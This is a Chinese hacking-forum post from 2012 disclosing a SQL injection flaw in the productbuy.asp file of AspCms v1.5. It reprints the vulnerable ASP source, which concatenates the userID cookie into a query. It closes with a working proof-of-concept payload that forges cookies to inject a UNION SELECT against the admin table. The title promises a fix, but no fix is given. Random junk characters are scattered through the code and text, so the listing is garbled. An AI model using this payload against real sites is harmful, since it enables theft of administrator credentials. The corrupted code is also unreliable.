找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2456|回复: 0
打印 上一主题 下一主题

AspCms_v1.5_20110517 SQL注射漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:35:05 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
好久没上土司了,上来一看发现在删号名单内.....
0 N  q$ R1 O% ]$ S: o$ s* C( {4 K也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
6 M; C- O2 d% B5 @* A废话不多说,看代码:& N: u7 w7 ?6 B- s

# J% S$ T/ z" K" ^* X<%" w$ K6 T2 m; Y% j+ c# Q; F
2 O/ U1 l' }/ j. K+ r: t
if action = "buy" then
" V  |* E  V4 X7 p
4 |$ l0 @" N7 G; [. g        addOrder()3 K9 ]% m) z3 b1 W% k
) c1 p3 W0 n4 [
else
' o& D- ^( x- [4 t% Q+ l# [
* S3 D8 F6 V9 T        echoContent()
% @& P0 J/ A3 g/ L* K+ W% @' J
$ [/ N+ ~1 d9 K  v; _; \& k; _end if7 \4 S1 t8 `: v7 T+ \

* j: Y- z, J0 j  F% u/ A
: V5 J( C& G; ]4 W3 M4 f) j- Z' V  e
……略过
& K5 ^  P" C, P% f& Q  A# l6 M- y- v
9 ?" b" {; q$ M% k- @) r

4 k) W- s- L* b% `Sub echoContent()
( @+ a: C. a. r" {- o
" M! A  B- s* Q; V% }: N& g3 N        dim id  c, T/ Z( V: m3 v/ f5 f" z! g
, s1 u, t5 `$ x* O- w$ P+ a3 B
        id=getForm("id","get")
* l0 k$ i1 i- z- [! H( e
3 u! P% ]; x5 @7 k1 ?' V7 O' C        
  P# g2 K( i/ F; v$ ]
, t6 ?% n5 j# x9 x4 M8 H( o5 {        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1"
. A& J* O2 f7 A. P" N* {: @7 @3 m* i0 R, \6 j' V$ u
        
3 Z) P' w$ [* {4 p3 b/ Q) M5 r& r8 p
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
7 c. ?# b6 Q* S" r+ z; A5 \5 e5 r: w4 X+ C! R
        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct  ?4 R7 R  L; E# U! i
0 V  K  P/ r; W
        Dim templatePath,tempStr7 T3 O+ y! ^; b" A& @/ {

, I& b, J( U6 k- ~$ u# Q% E' l# ~- ~        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
% W9 V! E$ x: x. J- v4 w, d4 x
& m& N; A3 x" S4 \; _' ^, G' s
4 ~3 [3 {$ W+ R( Q
6 `$ |) C$ h+ y1 {4 H8 o1 z        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")+ l+ d8 T  ~( @$ ?; M3 ]
) j' `/ P. N( s3 l, |6 ^. _* H9 g
        selectproduct=rsObj(0)- D; w5 x6 l  o: w0 N, F

6 O3 ]; d6 s& e; g8 y        
. Z& g/ w1 z* k5 B( N
% ^; v6 m+ u6 x' W& ^5 p: j        Dim linkman,gender,phone,mobile,email,qq,address,postcode
1 u2 M1 W! j& }4 r# Z0 W0 z% G; Z1 C2 S- M- U
        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0/ j% ~1 X; D9 {
& }  b* P" v1 R7 T0 B
        if rCookie("loginstatus")=1 then  % _! k3 d3 E# [8 L

9 i8 Q9 D! ]; b                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
& b5 B9 G$ `  U; ~4 A0 {
+ K$ X9 I3 k$ |# Y5 e                linkman=rsObj("truename")+ y7 o, M9 z( ]+ e7 T+ H

3 l8 q+ D+ O, }2 `- E1 ^" O+ F; O! Z                gender=rsObj("gender")2 o' a9 \5 J) n5 r8 c. W; T$ E- R& o: M

: @, \' z7 o* T% G; m6 F. ]                phone=rsObj("phone")5 J; {6 Z3 x0 d$ Y0 ^

3 c: ~9 N  j. ?# \1 r  C, O7 h3 l                mobile=rsObj("mobile"); m+ z, Q( u* a& j

2 [# V) @& g+ U9 }# u1 l+ c                email=rsObj("email")
8 [& Y* V0 e7 h2 r# {( K* _5 a
6 `# [5 U9 C1 ~  P$ ?& |                qq=rsObj("qq"); ~0 B. y' m8 ]
. Q' ?+ Y# F; @, t4 q
                address=rsObj("address")6 n! t6 ]% h5 F" r* B) i1 R
8 p* g; b& U9 \. J: O) U
                postcode=rsObj("postcode")5 o" @; x  ~: J/ q

; b6 p( w( h2 X8 E        else
  t- y- y: r7 ?2 `; K: C# a% i/ ~7 O& w+ Q7 T
                gender=1+ g9 v4 Q3 `7 e5 z
) R; ?. @2 W& [! i- ^5 s
        end if
! i9 k; O5 s7 y- L
& f& g  ?& D. o/ o: k        rsObj.close()6 F8 i, H5 `" u( ?8 B! E/ }3 m

5 H5 |8 V, S+ u                * F" P# q. _5 g, Q7 a* l

: F7 z  w3 e1 n( w        with templateObj
2 m& x/ @% m& v$ P9 u+ e: L& ]: [7 M
                .content=loadFile(templatePath)        
3 `, [! A' `% N3 A! v* o4 t9 U0 X+ X
                .parseHtml()
8 J5 Z% h( I+ k5 Z, T% `2 c; w8 ^0 e# [. s; i- B
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)" d+ G2 Q# N2 H/ _
  M0 T  j; v) |0 ~% y. V% E
                .content=replaceStr(.content,"[aspcms:linkman]",linkman)                3 `* f2 u. T1 F# V& J6 m2 ?* {

  `* J& ]: P& K0 U& ~6 {                .content=replaceStr(.content,"[aspcms:gender]",gender)                0 j8 [& p: S5 c& s- Z
, x+ q* L. i7 i% z
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
7 C/ M, Y: K3 ^* P+ E% w
& d9 t; o4 J# H0 e0 J                .content=replaceStr(.content,"[aspcms:mobile]",mobile)                ! H2 E( H4 O3 B" b# R+ i! |
5 l  Q7 ?6 M% c1 f; h8 c2 X' W
                .content=replaceStr(.content,"[aspcms:email]",email)                          J& L8 _9 Y2 u. l& ^6 H
8 G5 A/ i1 W" ~9 @4 E$ |. P# R
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        ' }: x% s4 ?  r' Y
: {/ O' l1 `$ p+ w3 _; _, B8 K, H& r
                .content=replaceStr(.content,"[aspcms:address]",address)                        9 t: v( D, p6 I- y
, U% E' w3 _2 R* v
                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
1 L' H% {' o& B4 e  \' F( C9 k
2 }0 A" S2 o0 ]  G5 A; T* g                .parseCommon()                 % m3 n. j4 n0 {" i2 C/ n, H  F
1 m. |0 B' _  A, a7 K
                echo .content
6 n: ^; i) e- _% C' D2 F6 |- L; o7 h; y$ p: ]) h# X
        end with# b7 m, D1 D! k: U! U8 J8 R. N
7 }% Q! S6 q1 q9 X
        set templateobj =nothing : terminateAllObjects- f' |) c' r" n& Z, d( o6 J/ J

" p0 p- |$ a+ M5 `) _9 o4 m7 K) J3 ]End Sub
; m' b% T" p9 z/ E! w9 C漏洞很明显,没啥好说的
2 n- G! |. v* Fpoc:8 r. }! g8 X/ {1 I

& N% F) U+ U" C! w8 i8 zjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子​
7 w$ l" R8 R0 \+ L0 \. X, Y
: D( p& u- C0 @$ l, x+ c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表